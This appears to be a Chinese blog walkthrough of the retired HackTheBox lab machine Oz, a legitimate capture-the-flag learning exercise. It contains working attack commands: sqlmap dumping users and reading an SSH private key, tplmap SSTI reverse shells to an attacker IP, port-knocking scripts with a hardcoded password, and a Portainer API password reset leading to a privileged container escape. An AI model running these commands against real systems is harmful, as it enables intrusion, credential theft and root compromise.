zoukankan      html  css  js  c++  java
  • HTB-靶机-Oz

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.96

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.96 -o ./Oz-autorecon

    就开放了两个端口,先访问80端口看看

    再访问8080端口看看

    从80端口开始爆破下目录,这里是wfuzz进行爆破,爆破之前还是绑定个hosts ,10.10.10.96 oz.htb

    wfuzz -u http://oz.htb/FUZZ/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hl 0

    试了试目录users,丢单引号和其他测试字符可确认存在sql注入

    存在sql注入就好办了,丢到sqlmap里面跑以下,经过测试最终抛出来了目标靶机存在的用户名和加密的密码

    sqlmap -u http://10.10.10.96/users/ -D ozdb -T users_gbw -C id,username,password --dump --batch

    提权上面的hash使用john进行爆破得出了账户和密码

    最终账户和密码为:wizard.oz:wizardofoz22

    使用上面得到的密码登录刚开始扫描出来的8080端口对应的web应用业务

    登录进去之后根据描述的内容,发现用户dorthi的家目录下存在私钥

    知道有私钥之后可以利用刚开始上面sql注入进行读取文件试试看看

    sqlmap -u http://10.10.10.96/users/ --file-read=/home/dorthi/.ssh/id_rsa

    密钥读取成功了,不过看这形式像是给密钥加了密码,而且知道目标靶机并没有开放22端口,所以此处先放着,我们继续看看那个8080端口的应用,经过测试此应用发现有个添加票据的功能,便添加一个然后使用burpsuite抓包

    这里经过大量测试,得出结论是存在SSTI注入,关于此知识点可以网上搜索,或者参考:https://xz.aliyun.com/t/3679 ,SSTI模板注入的利用方式方式参考:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

    利用工具参考:https://github.com/epinna/tplmap  下面是测试过程:

     

    使用tplmap进行注入反弹shell

    成功注入反弹shell
    python tplmap.py -u'http://10.10.10.96:8080' -X POST -d 'name=*&desc=anything' -c 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTYwNzkzOTE0M30.dQ7hGgZso4zMJdYlSHhgUr3j8tC1PPT5ErvOTCH_Uvg' --reverse-shell 10.10.14.6 1337
    
    也可以像下面的形式一样进行SSTI注入反弹shell
    python tplmap.py -c "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTYwNzk0MTQ5OH0.S6ZoQi-Z259wGk_ceiv0mpRbfR2403MmB8iI55gZsfU" -u http://10.10.10.96:8080 -e Jinja2 -d "name=bmfx&desc=bmfx" --reverse-shell 10.10.14.6 1337

    通过翻看目标靶机系统的目录和文件,确认发现两个隐藏文件,在隐藏其中一个隐藏文件/.secret下发现

    看了上面文件内容就知道了目标有knocked,所以需要进行敲击即可开放22端口,那么就可以连接上面得到的密钥进行登录了,这里测试了下发现登录ssh的密钥需要密码,暂停下,再看看目标靶机文件,最后找到了数据库文件的硬编码内容

    又得到一个密码了,再试试ssh登录的密钥

    两种方式敲击端口然后登录ssh
    第一种
    #!/bin/bash
    
    for x in 40809 50212 46969; do nmap -sU -Pn --host-timeout 201 --max-retries 0 -p $x 10.10.10.96; done
    ssh dorthi@oz.htb -i id_oz_rsa
    
    第二种
    
    #!/bin/bash
    
    ports="40809 50212 46969"
    
    for port in $ports; do
    
        echo "[*] Knocking on ${port}"
        echo "a" | nc -u -w 1 10.10.10.96 ${port}
        sleep 0.1
    done;
    
    echo "[*] Knocking done."
    echo "[*] Password:"
    echo "N0Pl4c3L1keH0me"
    
    ssh -i /home/kali/Downloads/htb/oz/id_oz_rsa dorthi@10.10.10.96

    成功登录,并顺手执行了下sudo -l权限

    这里涉及到docker环境, 根据上面的sudo -l结果,可以预测跟网络相关,需要进行桥接,且使用 arp -na和ip addr发现自身IP地址和周围的网络,便执行如下命令

    sudo docker network inspect prodnet
    sudo docker network inspect bridge

    此时便识别了新的IP地址172.17.0.2 使用当前拿到shell的进行中nmap进行了扫描,发现开放了9000端口,识别出来是portainer-1.11.1,但是只能本地访问,这样就不方便,需要通过ssh远程端口转发到外面来然后本地回环口访问,这里有两种方法

    第一种:
    ssh -R 9000:172.17.0.2:9000 root@10.10.14.6
    
    第二种:
    下面执行3个步骤
    1.敲击enter
    2.键盘上输入右边两个字符:~C
    3.上述输入完成之后就会变成ssh>这类的交互模式,然后输入如下:
    At the ssh> -L 9000:172.17.0.2:9000

    成功之后本地即可访问

    到了这一步,需要知道,此portainer1.11.1版本有api接口,可以直接添加用户密码,具体可参考:https://github.com/portainer/portainer/issues/493

    可以使用此工具来完成:https://httpie.io/

    我这里直接修改用户名密码为df

    成功登录到portainer

    通过portainer添加一个容器然后给其最高权限把root根目录挂载过来即可

    写好名称NiceContainer 镜像:webapi:latest 

    按照上述操作完成创建即可,创建完成之后就可以进行console

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    PHP数组创建的的两种办法
    Apache配置文件(httpd.conf)的语法检查
    Apache的配置文件,使用了自己的目录,添加了别名的使用
    Apache2.4虚拟主机+别名配置
    margin外边距合并详解
    资源文件res中各种标签的使用
    http://119.145.255.64:10010/repositories/
    一个App的整个流程
    网页快捷键的使用
    oracle 日期字段的处理
  • 原文地址:https://www.cnblogs.com/autopwn/p/14135076.html
Copyright © 2011-2022 走看看